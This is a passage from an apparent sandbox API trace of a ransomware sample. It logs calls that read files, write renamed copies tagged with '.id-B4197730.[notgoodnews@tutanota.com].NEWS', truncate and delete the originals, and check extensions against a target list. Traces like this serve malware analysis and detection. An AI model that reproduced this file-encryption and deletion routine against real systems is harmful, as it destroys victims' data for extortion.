(lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.308] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=6004) returned 1 [0061.308] CloseHandle (hObject=0x2fc) returned 1 [0061.308] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20 [0061.308] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.308] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.308] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.308] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.308] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.308] GetLastError () returned 0x0 [0061.309] ReadFile (in: hFile=0x2fc, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x1774, lpOverlapped=0x0) returned 1 [0061.311] WriteFile (in: hFile=0x300, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x1780, lpOverlapped=0x0) returned 1 [0061.315] ReadFile (in: hFile=0x2fc, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.315] WriteFile (in: hFile=0x300, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x114, lpOverlapped=0x0) returned 1 [0061.315] SetEndOfFile (hFile=0x300) returned 1 [0061.316] CloseHandle (hObject=0x300) returned 1 [0061.317] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.317] SetEndOfFile (hFile=0x2fc) returned 1 [0061.318] CloseHandle (hObject=0x2fc) returned 1 [0061.318] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0061.318] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 1 [0061.319] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0061.319] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0061.319] lstrlenW (lpString=".doc") returned 4 [0061.319] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0061.319] lstrlenW (lpString=".docx") returned 5 [0061.319] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0061.319] lstrlenW (lpString=".pdf") returned 4 [0061.319] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0061.319] lstrlenW (lpString=".xls") returned 4 [0061.319] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0061.319] lstrlenW (lpString=".xlsx") returned 5 [0061.319] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1 [0061.319] lstrlenW (lpString=".ppt") returned 4 [0061.319] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0061.319] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0061.319] lstrlenW (lpString=".zip") returned 4 [0061.319] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0061.319] lstrlenW (lpString=".rar") returned 4 [0061.319] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0061.319] lstrlenW (lpString=".bz2") returned 4 [0061.319] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0061.319] lstrlenW (lpString=".7z") returned 3 [0061.320] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0061.320] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0061.320] lstrlenW (lpString=".dbf") returned 4 [0061.320] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0061.320] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0061.320] lstrlenW (lpString=".1cd") returned 4 [0061.320] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0061.320] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0061.320] lstrlenW (lpString=".jpg") returned 4 [0061.320] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0061.320] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0061.320] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0061.320] lstrlenW (lpString=".doc") returned 4 [0061.320] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0061.320] lstrlenW (lpString=".docx") returned 5 [0061.320] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0061.320] lstrlenW (lpString=".pdf") returned 4 [0061.320] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0061.320] lstrlenW (lpString=".xls") returned 4 [0061.320] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0061.320] lstrlenW (lpString=".xlsx") returned 5 [0061.320] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1 [0061.320] lstrlenW (lpString=".ppt") returned 4 [0061.320] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0061.320] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0061.320] lstrlenW (lpString=".zip") returned 4 [0061.321] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0061.321] lstrlenW (lpString=".rar") returned 4 [0061.321] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0061.321] lstrlenW (lpString=".bz2") returned 4 [0061.321] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0061.321] lstrlenW (lpString=".7z") returned 3 [0061.321] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0061.321] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0061.321] lstrlenW (lpString=".dbf") returned 4 [0061.321] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0061.321] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0061.321] lstrlenW (lpString=".1cd") returned 4 [0061.321] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0061.321] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0061.321] lstrlenW (lpString=".jpg") returned 4 [0061.321] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0061.322] lstrcmpiW (lpString1=".ini", lpString2=".NEWS") returned -1 [0061.322] lstrlenW (lpString="desktop.ini") returned 11 [0061.322] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.322] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=129) returned 1 [0061.322] CloseHandle (hObject=0x2fc) returned 1 [0061.322] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26 [0061.322] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.322] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.323] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.323] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.323] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.329] GetLastError () returned 0x0 [0061.329] ReadFile (in: hFile=0x2fc, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x81, lpOverlapped=0x0) returned 1 [0061.331] WriteFile (in: hFile=0x300, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x90, lpOverlapped=0x0) returned 1 [0061.333] ReadFile (in: hFile=0x2fc, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.333] WriteFile (in: hFile=0x300, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xea, lpOverlapped=0x0) returned 1 [0061.333] SetEndOfFile (hFile=0x300) returned 1 [0061.333] CloseHandle (hObject=0x300) returned 1 [0061.335] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.335] SetEndOfFile (hFile=0x2fc) returned 1 [0061.336] CloseHandle (hObject=0x2fc) returned 1 [0061.336] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x26) returned 1 [0061.337] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 1 [0061.337] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0061.337] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0061.337] lstrlenW (lpString=".doc") returned 4 [0061.337] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0061.337] lstrlenW (lpString=".docx") returned 5 [0061.337] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0061.337] lstrlenW (lpString=".pdf") returned 4 [0061.337] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0061.337] lstrlenW (lpString=".xls") returned 4 [0061.337] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0061.337] lstrlenW (lpString=".xlsx") returned 5 [0061.338] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0061.338] lstrlenW (lpString=".ppt") returned 4 [0061.338] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0061.338] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0061.338] lstrlenW (lpString=".zip") returned 4 [0061.338] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0061.338] lstrlenW (lpString=".rar") returned 4 [0061.338] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0061.338] lstrlenW (lpString=".bz2") returned 4 [0061.338] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0061.338] lstrlenW (lpString=".7z") returned 3 [0061.338] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0061.338] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0061.338] lstrlenW (lpString=".dbf") returned 4 [0061.338] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0061.338] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0061.338] lstrlenW (lpString=".1cd") returned 4 [0061.338] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0061.338] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0061.338] lstrlenW (lpString=".jpg") returned 4 [0061.338] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0061.338] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0061.338] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0061.338] lstrlenW (lpString=".doc") returned 4 [0061.338] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0061.338] lstrlenW (lpString=".docx") returned 5 [0061.339] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0061.339] lstrlenW (lpString=".pdf") returned 4 [0061.339] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0061.339] lstrlenW (lpString=".xls") returned 4 [0061.339] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0061.339] lstrlenW (lpString=".xlsx") returned 5 [0061.339] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0061.339] lstrlenW (lpString=".ppt") returned 4 [0061.339] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0061.339] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0061.339] lstrlenW (lpString=".zip") returned 4 [0061.339] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0061.339] lstrlenW (lpString=".rar") returned 4 [0061.339] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0061.339] lstrlenW (lpString=".bz2") returned 4 [0061.339] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0061.339] lstrlenW (lpString=".7z") returned 3 [0061.339] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0061.339] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0061.339] lstrlenW (lpString=".dbf") returned 4 [0061.339] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0061.339] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0061.339] lstrlenW (lpString=".1cd") returned 4 [0061.339] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0061.339] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0061.339] lstrlenW (lpString=".jpg") returned 4 [0061.339] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0061.340] lstrcmpiW (lpString1=".ini", lpString2=".NEWS") returned -1 [0061.340] lstrlenW (lpString="desktop.ini") returned 11 [0061.340] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.340] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=129) returned 1 [0061.340] CloseHandle (hObject=0x2fc) returned 1 [0061.340] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0061.340] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.340] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.340] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.341] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.341] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.341] GetLastError () returned 0x0 [0061.341] ReadFile (in: hFile=0x2fc, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x81, lpOverlapped=0x0) returned 1 [0061.341] WriteFile (in: hFile=0x300, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x90, lpOverlapped=0x0) returned 1 [0061.658] ReadFile (in: hFile=0x2fc, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.658] WriteFile (in: hFile=0x300, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xea, lpOverlapped=0x0) returned 1 [0061.658] SetEndOfFile (hFile=0x300) returned 1 [0061.658] CloseHandle (hObject=0x300) returned 1 [0061.659] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.659] SetEndOfFile (hFile=0x2fc) returned 1 [0061.660] CloseHandle (hObject=0x2fc) returned 1 [0061.660] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x26) returned 1 [0061.660] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 1 [0061.660] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0061.660] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0061.660] lstrlenW (lpString=".doc") returned 4 [0061.660] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0061.660] lstrlenW (lpString=".docx") returned 5 [0061.660] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0061.660] lstrlenW (lpString=".pdf") returned 4 [0061.660] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0061.660] lstrlenW (lpString=".xls") returned 4 [0061.660] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0061.660] lstrlenW (lpString=".xlsx") returned 5 [0061.660] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0061.661] lstrlenW (lpString=".ppt") returned 4 [0061.661] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0061.661] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0061.661] lstrlenW (lpString=".zip") returned 4 [0061.661] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0061.661] lstrlenW (lpString=".rar") returned 4 [0061.661] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0061.661] lstrlenW (lpString=".bz2") returned 4 [0061.661] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0061.661] lstrlenW (lpString=".7z") returned 3 [0061.661] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0061.661] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0061.661] lstrlenW (lpString=".dbf") returned 4 [0061.661] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0061.661] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0061.661] lstrlenW (lpString=".1cd") returned 4 [0061.661] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0061.661] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0061.661] lstrlenW (lpString=".jpg") returned 4 [0061.661] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0061.661] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0061.661] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0061.661] lstrlenW (lpString=".doc") returned 4 [0061.661] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0061.661] lstrlenW (lpString=".docx") returned 5 [0061.661] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0061.661] lstrlenW (lpString=".pdf") returned 4 [0061.661] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0061.661] lstrlenW (lpString=".xls") returned 4 [0061.661] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0061.661] lstrlenW (lpString=".xlsx") returned 5 [0061.661] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0061.661] lstrlenW (lpString=".ppt") returned 4 [0061.662] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0061.662] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0061.662] lstrlenW (lpString=".zip") returned 4 [0061.662] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0061.662] lstrlenW (lpString=".rar") returned 4 [0061.662] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0061.662] lstrlenW (lpString=".bz2") returned 4 [0061.662] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0061.662] lstrlenW (lpString=".7z") returned 3 [0061.662] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0061.662] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0061.662] lstrlenW (lpString=".dbf") returned 4 [0061.662] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0061.662] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0061.662] lstrlenW (lpString=".1cd") returned 4 [0061.662] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0061.662] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0061.662] lstrlenW (lpString=".jpg") returned 4 [0061.662] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0061.662] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0061.662] lstrlenW (lpString="LocalizedData.xml") returned 17 [0061.662] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0061.797] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=60816) returned 1 [0061.798] CloseHandle (hObject=0x318) returned 1 [0061.798] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80 [0061.798] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.799] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0061.799] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.799] SetFilePointerEx (in: 